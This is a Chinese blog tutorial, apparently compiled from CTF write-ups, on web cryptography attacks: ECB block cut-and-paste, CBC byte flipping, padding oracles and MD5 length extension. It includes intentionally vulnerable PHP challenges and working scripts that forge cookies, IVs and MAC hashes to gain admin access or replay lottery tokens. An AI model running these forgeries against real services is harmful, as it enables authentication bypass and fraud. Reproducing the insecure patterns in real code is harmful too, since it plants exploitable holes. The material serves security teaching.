常见的 WEB 密码学攻击
ECB
ECB模式的全称是Electronic CodeBook模式,将明文 分组 加密后直接成为密文分组 ,而密文则是由密文分组直接拼接而成。
因为每个分组都独自进行加密解密,所以无需破解密文就能操纵部分明文,或者改变明文,在不知道加密算法的情况下得到密文,从而达到攻击效果,如图所示(翻转密文分组,那么明文分组也会被翻转)
例题1: 某个 CTF 题目:
ecb.php 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
<?php function AES ($data) { $privateKey = "12345678123456781234567812345678" ; $encrypted=openssl_encrypt($data,'AES-128-ECB' ,$privateKey,OPENSSL_RAW_DATA); $encryptedData = (base64_encode($encrypted)); return $encryptedData; } function DE__AES ($data) { $privateKey = "12345678123456781234567812345678" ; $encryptedData = base64_decode($data); $decrypted=openssl_decrypt($encryptedData,'AES-128-ECB' ,$privateKey,OPENSSL_RAW_DATA); $decrypted = rtrim($decrypted, "" ) ; return $decrypted; } if (@$_GET['a' ]=='reg' ){ setcookie('uid' , AES('9' )); setcookie('username' , AES($_POST['username' ])); header("Location: http://127.0.0.1/ecb.php" ); exit (); } if (@!isset ($_COOKIE['uid' ])||@!isset ($_COOKIE['username' ])){ echo '<form method="post" action="ecb.php?a=reg"> Username:<br> <input type="text" name="username"> <br> Password:<br> <input type="text" name="password" > <br><br> <input type="submit" value="注册"> </form> ' ;} else { $uid = DE__AES($_COOKIE['uid' ]); if ( $uid != 4 ){ echo 'uid:' .$uid .'<br/>' ; echo 'Hi ' . DE__AES($_COOKIE['username' ]) .'<br/>' ; echo 'You are not administrotor!!' ; } else { echo "Hi you are administrotor!!" .'<br/>' ; echo 'Flag is flag{this is flag}' ; } } ?>
解题思路: 以administrator权限登陆就就能获得Flag。判断权限则是根据cookie里面的uid参数,cookie包含username和uid两个参数,均为使用ECB加密的密文,然而username的密文是根据注册时的明文生成的
因此我们可以根据username的明文操纵生成我们想要的uid的密文。经过fuzz发现明文分组块为16个字节,那么我们注册17字节的用户,多出的那一个字节就可以是我们我们希望的UID的值,而此时我们查看username的密文增加部分就是UID的密文,即可伪造UID。
注册aaaaaaaaaaaaaaaa1获得1的密文分组,注册aaaaaaaaaaaaaaaa2获得2的密文分组,以此类推 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
//python2 import urllibimport urllib2import base64import cookielibimport Cookiefor num in range(1 ,50 ): reg_url='http://127.0.0.1/ecb.php?a=reg' index_url='http://127.0.0.1/ecb.php' cookie=cookielib.CookieJar() opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie)) opener.addheaders.append(('User-Agent' ,'Mozilla/5.0' )) num=str(num) values={'username' :'aaaaaaaaaaaaaaaa' +num,'password' :'123' } data=urllib.urlencode(values) opener.open(reg_url,data) text=opener.open(index_url,data) for ck in cookie: if ck.name=='username' : user_name=ck.value user_name = urllib.unquote(user_name) user_name = base64.b64decode(user_name) hex_name = user_name.encode('hex' ) hex_name = hex_name[len(hex_name)/2 :] hex_name = hex_name.decode('hex' ) uid = base64.b64encode(hex_name) uid = urllib.quote(uid) for ck in cookie: if ck.name=='uid' : ck.value=uid text=opener.open(index_url).read() if 'Flag' in text: print text break else : print num
例题2: startCTF 2021 lottery again ecb模式,按块加密,每块密钥相同,密文按块直接与明文对应,所以我们可以控制明密文对重放攻击。
对于一个enc,长106字节,如下
1
{"lottery" :"48e51545-cfd3-4d2e-8ea4-851c945b5faf" ,"user" :"0123ff93-c230-49b9-b078-5d205247c5a8" ,"coin" :81}
本题使用的是MCRYPT_RIJNDAEL_256加密,rijndael128与aes相同,都是以128位为一个块加密,rijndael256则是以256位为一个块,即32字节。
思路就是通过重放,将多个彩票不同块进行拼接,使得同一个user可以对应多个lottery。
因为每块是32字节对应切割位点如下:
1
{"lottery" :"48e51545-cfd3-4d2e-8|ea4-851c945b5faf" ,"user" :"0123ff|93-c230-49b9-b078-5d205247c5a8" ,|"coin" :81}
最后一块不足32字节自动填充。
可以看到我们无论替换哪一个块都不能完整控制lottery或者user,替换前两块的成功的前提是另一个enc的user前6字节也是0123ff,碰撞概率较小。
但是我们可以将第一个enc的前1,2块拼接上第二个enc的2,3,4块,形成如下类似的格式
1
{"lottery" :"48e51545-cfd3-4d2e-8ea4-851c945b5faf" ,"user" :"0123ffb0e-b15c9de5afaa" ,"user" :"8dfd276a-ee65-4563-af33-c1ae7c577322" ,"coin" :88}
当json_decode之后后面的user会覆盖前面的,就成功控制user不变,lottery一直在变了。
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
import requests import random import string import json import base64 from urllib.parse import quote user_token = "1slT9Xb1TxoDtEtxKZ2k0n8c9T3lZttY" user_uuid = "fadf5f40-9fe1-4a57-8d5b-06f16584298b" user_enc = b"8mKK4YdL0VHw67+rtMCBv+z9SX4yB7SwYWlL2A3VPqXXFHIpf1XGIVDHNxW5td/3fyYbEEEBv43419eYjQAwd9thL1nc+6OWy2UDfXdG+INLgbXDkV8kaRNGurSbXtf5XUzAgdeXmksz508IscL5BqiGkpqPuH/4Qa5qAiM0/hU=" cookie = { "api_token" : user_token } url = "http://52.149.144.45:8080" def get_random(): return '' .join(random.sample(string.ascii_letters + string.digits, 10)) def register(): username=get_random() data= { "username" : username, "password" : "asdasd" } res = requests.post(url + "/user/register" ,data=data) d = json.loads(res.text) return username def login(username, password="asdasd" ): data = { "username" : username, "password" : password } res = requests.post(url + "/user/login" ,data=data) d = json.loads(res.text) return d['user' ]['api_token' ] def info(api_token): res = requests.get(url + "/user/info?api_token=" + api_token) d = json.loads(res.text) print ('uuid: ' +d['user' ]['uuid' ]) def buy(api_key): data = { "api_token" : api_key } res = requests.post(url + "/lottery/buy" ,data=data) d = json.loads(res.text) return d['enc' ] def get_enc(enc): o = base64.b64decode(enc) u = base64.b64decode(user_enc) m = base64.b64encode(o[:64] + u[32:]) print ('enc: ' , end='' ) print (quote(m)) return m def charge(enc): data = { "user" : user_uuid, "enc" : enc, "coin" : "7" } res = requests.post(url + "/lottery/charge" , data=data, cookies=cookie) print ("charge: " , end='' ) print (res.content) if __name__ == "__main__" : while True: username = register() api_token = login(username) enc = buy(api_token) info(api_token) mo_enc = get_enc(enc) charge(mo_enc)
CBC
字节翻转
因为CBC模式是将前一个密文分组和明文分组进行混合加密所以,是可以避免ECB模式的弱点。
但正因为如此,导致了解密时修改前一个密文分组就可以操纵后一个的解密后的明文分组,可以将前一个密文中的任意比特进行修改(0,1进行互换,也可以叫翻转)
因此CBC模式有两个攻击点:
①iv向量,影响第一个明文分组
②第n个密文分组,影响第n+1个明文分组
密文通过block cipher encryption解密,得到中间密文,中间密文与IV(前一个密文区块)异或后得到的是明文,因此可以通过攻击IV,来改变最终的明文。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
条件:中间密文 ^ 原先IV = 原始明文 假设:伪造IV = 原始IV ^ 原始明文 ^ 伪造明文 此时: 中间密文 ^ 伪造IV=原始IV ^ 原始明文 ^ 伪造IV =原始IV ^ 原始明文^原始IV ^ 原始明文 ^ 伪造明文=伪造明文 所以:中间密文 ^ 伪造IV = 伪造明文 通过篡改IV,来改变密文解密之后的明文 举例: 密文1[4]的意思是密文1字符串第4个字节,相当于数组下标。 设:密文1[4] = A,解密(密文2)[4] = B,明文2[4] = C 因为A ^ B = C,根据结论有B = A ^ C 当人为修改A=A ^ C时,那么A ^ B = A ^ C ^ B = B ^ B = 0,这样明文2[4]的结果就为0了 当人为修改A=A ^ C ^ x (x为任意数值)时,那么 A ^ B = A ^ C ^ x ^ B = B ^ B ^ x = x,这是明文2[4] = x,这样就达到了控制明文某个字节的目的了。
例题1: flag.php
1 2 3 4 5
<?php $key = "8bd54bcfe6a23fc0" ; $flag = "flag{admin_or_guest}" ; ?>
cbc.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
<?php error_reporting(0 ); include ("flag.php" );$iv = 'NGY0MWVlOGE2MGU4NTkxMQ==' ; function decode ($str,$key,$iv) { return openssl_decrypt(base64_decode($str),"AES-128-CBC" ,$key,OPENSSL_RAW_DATA,base64_decode($iv)); } function encode ($str,$key,$iv) { return base64_encode(openssl_encrypt($str,"AES-128-CBC" ,$key,OPENSSL_RAW_DATA, base64_decode($iv))); } if (isset ($_COOKIE['username' ]) && isset ($_COOKIE['iv' ])){ if (decode($_COOKIE['username' ],$key,$_COOKIE['iv' ]) === "admin" ){ echo "hello admin<br>" ; echo $flag."<br>" ; } else if (decode($_COOKIE['username' ],$key,$_COOKIE['iv' ]) === "guest" ){ echo "hello guest<br>" ; } else { echo "iv or username error" ; } } else { $enc = encode("guest" ,$key,$iv); setcookie('username' ,$enc); setcookie('iv' ,$iv); } highlight_file(__file__ ); ?>
可以知道代码解密得到的用户名为 admin 时,会得到flag。
所以可以利用CBC字节翻转攻击,将密文解密成任意明文。
1 2 3 4 5 6 7 8 9
import base64iv = base64.b64decode('NGY0MWVlOGE2MGU4NTkxMQ==' ) admin = 'admin' + '\x0b' *11 guest = 'guest' + '\x0b' *11 new_iv = '' for i in range(len(admin)): new_iv += chr(ord(iv[i]) ^ ord(admin[i]) ^ ord(guest[i])) print base64.b64encode(new_iv)
例题2: Bugku 的 web39 CBC字节翻转攻击
存在.index.php.swp ,vim -r .index.php.swp 恢复得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Login Form</title> <link href="static/css/style.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="static/js/jquery.min.js" ></script> <script type="text/javascript" > $(document).ready(function () { $(".username" ).focus(function () { $(".user-icon" ).css("left" ,"-48px" ); }); $(".username" ).blur(function () { $(".user-icon" ).css("left" ,"0px" ); }); $(".password" ).focus(function () { $(".pass-icon" ).css("left" ,"-48px" ); }); $(".password" ).blur(function () { $(".pass-icon" ).css("left" ,"0px" ); }); }); </script> </head> <?php define("SECRET_KEY" , file_get_contents('/root/key' )); define("METHOD" , "aes-128-cbc" ); session_start(); function get_random_iv () { $random_iv='' ; for ($i=0 ;$i<16 ;$i++){ $random_iv.=chr(rand(1 ,255 )); } return $random_iv; } function login ($info) { $iv = get_random_iv(); $plain = serialize($info); $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); $_SESSION['username' ] = $info['username' ]; setcookie("iv" , base64_encode($iv)); setcookie("cipher" , base64_encode($cipher)); } function check_login () { if (isset ($_COOKIE['cipher' ]) && isset ($_COOKIE['iv' ])){ $cipher = base64_decode($_COOKIE['cipher' ]); $iv = base64_decode($_COOKIE["iv" ]); if ($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){ $info = unserialize($plain) or die ("<p>base64_decode('" .base64_encode($plain)."') can't unserialize</p>" ); $_SESSION['username' ] = $info['username' ]; }else { die ("ERROR!" ); } } } function show_homepage () { if ($_SESSION["username" ]==='admin' ){ echo '<p>Hello admin</p>' ; echo '<p>Flag is $flag</p>' ; }else { echo '<p>hello ' .$_SESSION['username' ].'</p>' ; echo '<p>Only admin can see flag</p>' ; } echo '<p><a href="loginout.php">Log out</a></p>' ; } if (isset ($_POST['username' ]) && isset ($_POST['password' ])){ $username = (string)$_POST['username' ]; $password = (string)$_POST['password' ]; if ($username === 'admin' ){ exit ('<p>admin are not allowed to login</p>' ); }else { $info = array ('username' =>$username,'password' =>$password); login($info); show_homepage(); } }else { if (isset ($_SESSION["username" ])){ check_login(); show_homepage(); }else { echo '<body class="login-body"> <div id="wrapper"> <div class="user-icon"></div> <div class="pass-icon"></div> <form name="login-form" class="login-form" action="" method="post"> <div class="header"> <h1>Login Form</h1> <span>Fill out the form below to login to my super awesome imaginary control panel.</span> </div> <div class="content"> <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" /> <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" /> </div> <div class="footer"> <input type="submit" name="submit" value="Login" class="button" /> </div> </form> </div> </body>' ; } } ?> </html>
解题 得cipher
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
<?php $cipher = base64_decode(urldecode('6HJUuK%2BgTYFjGKKdQKrvqG4lQyZNT3A7kl42ipzlqI7M%2BoSGPbRgihwSFPqmfVY2ScFMSuJpCsOgRbTp%2Bpn94Q%3D%3D' )); $temp = $cipher; $cipher[13 ] = chr(ord($cipher[13 ]) ^ ord('y' ) ^ ord('n' )); echo urlencode(base64_encode($cipher)); ?>
得iv
1 2 3 4 5 6 7 8 9 10 11
<?php $res = base64_decode('RWn5qVqquwKuATc4kqaobG1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6InBhc3N3ZCI7fQ==' ); $iv = base64_decode(urldecode('Yfz1VNAk9RvNa09MCezJRA%3D%3D' )); $plaintext = 'a:2:{s:8:"userna' ; $new_iv = '' ; for ($i = 0 ; $i < 16 ; $i ++){ $new_iv = $new_iv . chr(ord($iv[$i]) ^ ord($res[$i]) ^ ord($plaintext[$i])); } echo urlencode(base64_encode($new_iv)); ?>
Padding oracle
分组密码Block Cipher需要在加载前确保每个每组的长度都是分组长度的整数倍。一般情况下,明文的最后一个分组很有可能会出现长度不足分组的长度: 这个时候,普遍的做法是PKCS#5标准中定义的规则,在最后一个分组后填充一个固定的值,这个值的大小为填充的字节总数。即假如最后还差3个字符,则填充3个0×03 因为填充发生在最后一个分组,所以我们主要关注最后一个分组 这里有个条件是服务器会对我们显示padding error的异常,如果不回显那么肯定无法判断进行利用
比如在web应用中,如果Padding不正确,则应用程序很可能会返回500的错误(程序执行错误);如果Padding正确,但解密出来的内容不正确,则可能会返回200的自定义错误(这只是业务上的规定),所以,这种区别就可以成为一个二值逻辑的”注入点”。
攻击成立的两个重要假设前提:
1 2
1. 攻击者能够获得密文(Ciphertext),以及附带在密文前面的IV(初始化向量) 2. 攻击者能够触发密文的解密过程,且能够知道密文的解密结果
HASH
HASH原理 首先,当hash函数拿到需要被hash的字符串后,先将其字节长度整除64,取得余数。如果该余数正好等于56,那么就在该字符串最后添加上8个字节的长度描述符(具体用bit表示)。如果不等于56,就先对字符串进行长度填充,填充时第一个字节为hex(80),其他字节均用hex(00)填充,填充至余数为56后,同样增加8个字节的长度描述符(该长度描述符为需要被hash的字符串的长度,不是填充之后整个字符串的长度)。以上过程,称之为补位。
补位完成后,字符串以64位一组进行分组。字符串能被分成几组就会进行多少次“复杂的数学变化”。每次进行“复杂的数学变化”都会生成一组新的registers值供下一次“复杂的数学变化”来调用。第一次“复杂的数学变化”会调用程序中的默认值。当后面已经没有分组可以进行数学变化时,该组生成的registers值就是最后的hash值。
为确保同一个字符串的hash值唯一,所以需要保证第一次registers的值也唯一。所以在hash算法中,registers具有初始值。如上图中的registers值0。
MD5算法实现 我们要实现对于字符串abc的 md5 的值计算。首先我们要把其转化为 16 进制。
补位 (1byte=8bit)消息必须进行补位,即使得其长度在对 512 取模后的值为 448。也就是说,len(message) % 512 == 448。当消息长度不满 448 bit 时(注意是位,而不是字符串长度),消息长度达到 448 bit 即可。当然,如果消息长度已经达到 448 bit,也要进行补位。补位是必须的。 补位的方式的二进制表示是在消息的后面加上一个1,后面跟着无限个0,直到 len(message) % 512 == 448。在 16 进制下,我们需要在消息后补80,就是 2 进制的10000000。我们把消息abc进行补位到 448 bit,也就是 56 byte。 补位过后,第 57 个字节储存的是补位之前的消息长度。abc是 3 个字母,也就是 3 个字节,24 bit。换算成 16 进制为 0x18。其后跟着 7 个字节的 0x00,把消息补满 64 字节。 MD5中存储的都是小端方式! 重要的事情说三遍,举个例子:假如我们这一块值为0x12345678 那么在MD5运算时候存储的顺序是 0x78563412 这也是之所以后8字节为长度,而第1字节先有数据的原因
计算消息摘要 计算消息摘要必须用补位已经补长度完成之后的消息来进行运算,拿出 512 bit的消息(即64字节)。 计算消息摘要的时候,有一个初始的链变量,用来参与第一轮的运算。MD5 的初始链变量为:
1 2 3 4
A=0x67452301 B=0xefcdab89 C=0x98badcfe D=0x10325476
上面的链变量将会被新的值覆盖。之后有四个非线性函数,将字符串和那四个链接变量经过一系列的复杂运算,算出一组新的A,B,C,D的值,如果消息小于512,也就是只需要计算一次,这时候将新的ABCD的值按ABCD的顺序级联,然后输出,就是MD5的值,如果消息大于512的话,就需要计算多次,先计算出前512位的ABCD值然后用再用这个ABCD去计算后面512位的ABCD值以此类推,最后计算出来的ABCD经过拼接就是这串字符串的MD5值。
哈希长度扩展攻击
Hash-Length-Extension-Attack ,可以在知道MD5(message)的hash值得情况下,算出MD5(message+padding+a)的hash值,就是根据短的消息的hash算出更长的消息的hash。
所需条件:
知道Salt的长度
要知道一个由salt加密后的md5值
知道$data的值(未加盐的明文)
例题1: ISCC2018 的一道题目 secret.php
1 2 3 4
<?php $key='123456789qwertyuiopasdfghjklzxcvbnm12345671475' ; $flag='flag{this_1s_a_f1ag}' ; ?>
hash.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
<?php include "secret.php" ;@$username=(string)$_POST['username' ]; function enc ($text) { global $key; return md5($key.$text); } if (enc($username) === $_COOKIE['verify' ]){ if (is_numeric(strpos($username, "admin" ))){ die ($flag); } else { die ("you are not admin" ); } } else { setcookie("verify" , enc("guest" ), time()+60 *60 *24 *7 ); setcookie("len" , strlen($key), time()+60 *60 *24 *7 ); } show_source(__FILE__ );
解题 从源码可以得到以下内容:
1 2
enc("guest")的值 $key的长度为46
这段代码要求我们输入的username在经过enc函数加密之后,与$_COOKIE[‘verify’]
的值相等,并且username中必须含有admin
使用hashdump工具
1 2 3 4 5
git clone https://github.com/bwall/HashPump apt-get install g++ libssl-dev cd HashPumpmake make install
1 2 3 4
Input Signature: 已知的hash 值,这里是$_COOKIE ['verify' ]的值 Input Data: 上面的hash 值解密后的字符串,这里是guest。 Input Key Length: $key 的长度 Input Data to Add: 想要添加的数据,由于题目要求要含有admin,所以这里是admin。
然后我们将得到的hash值去替换数据包中$_COOKIE[‘verify’]
的值,然后post提交username=guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin
即可。
例题2: jarvis oj 的web题 flag在管理员手中吗? index.php~泄露得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
<?php $auth = false ; $role = "guest" ; $salt = if (isset ($_COOKIE["role" ])) { $role = unserialize($_COOKIE["role" ]); $hsh = $_COOKIE["hsh" ]; if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role" ]))) { $auth = true ; } else { $auth = false ; } } else { $s = serialize($role); setcookie('role' ,$s); $hsh = md5($salt.strrev($s)); setcookie('hsh' ,$hsh); } if ($auth) { echo "<h3>Welcome Admin. Your flag is } else { echo " <h3>Only Admin can see the flag!!</h3>"; } ?>
安装hash_extender步骤:
1 2 3
git clone https://github.com/iagox86/hash_extender cd hash_extender make
然后python脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
from urlparse import urlparsefrom httplib import HTTPConnectionfrom urllib import urlencodeimport jsonimport timeimport osimport urllibdef gao (x, y) : url = "http://web.jarvisoj.com:32778/index.php" cookie = "role=" + x + "; hsh=" + y build_header = { 'Cookie' : cookie, 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0' , 'Host' : 'web.jarvisoj.com:32778' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' , } urlparts = urlparse(url) conn = HTTPConnection(urlparts.hostname, urlparts.port or 80 ) conn.request("GET" , urlparts.path, '' , build_header) resp = conn.getresponse() body = resp.read() return body for i in xrange(1000 ): print i find_hash = "./hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5 -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet" calc_res = os.popen(find_hash).readlines() hash_value = calc_res[0 ][:32 ] attack_padding = calc_res[0 ][32 :] attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1 ]) ret = gao(attack_padding, hash_value) if "Welcome" in ret: print ret break
注意这个脚本在hash_extender目录下使用
然后得到回显:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
0 1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html> <html> <head> <title>Web 350</title> <style type ="text/css" > body { background:gray; text-align:center; } </style> </head> <body> <h3>Welcome Admin. Your flag is PCTF{H45h_ext3ndeR_i5_easy_to_us3} </h3> </body> </html>
参考文章: 常见的Web密码学攻击方式汇总:https://www.anquanke.com/post/id/84724 Padding Oracle 和 CBC字节翻转攻击学习:https://www.cnblogs.com/tr1ple/p/11114958.html *CTF 2021 WriteUp By 星盟ctf战队
CBC字节翻转攻击: http://www.lmxspace.com/2018/05/07/cbc%E5%AD%97%E8%8A%82%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/ CBC字节翻转攻击:https://sec-in.com/article/274 Padding Oracle 和 CBC字节翻转攻击学习: https://www.cnblogs.com/tr1ple/p/11114958.html Padding Oracle Attack: http://www.helix.cool/2020/05/18/Padding-Oracle-Attack/ 我对Padding Oracle攻击的分析和思考(详细):https://www.freebuf.com/articles/web/15504.html Automated Padding Oracle Attacks With PadBuster:https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html Understanding MD5 Length Extension Attack:http://blog.chinaunix.net/uid-27070210-id-3255947.html MD5哈希(hash)长度扩展攻击:https://ntwyc2018.github.io/2018/07/10/md5%E5%93%88%E5%B8%8C%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/ Hash长度扩展攻击:https://www.smi1e.top/hello-world/
FROM :blog.cfyqy.com | Author:cfyqy
评论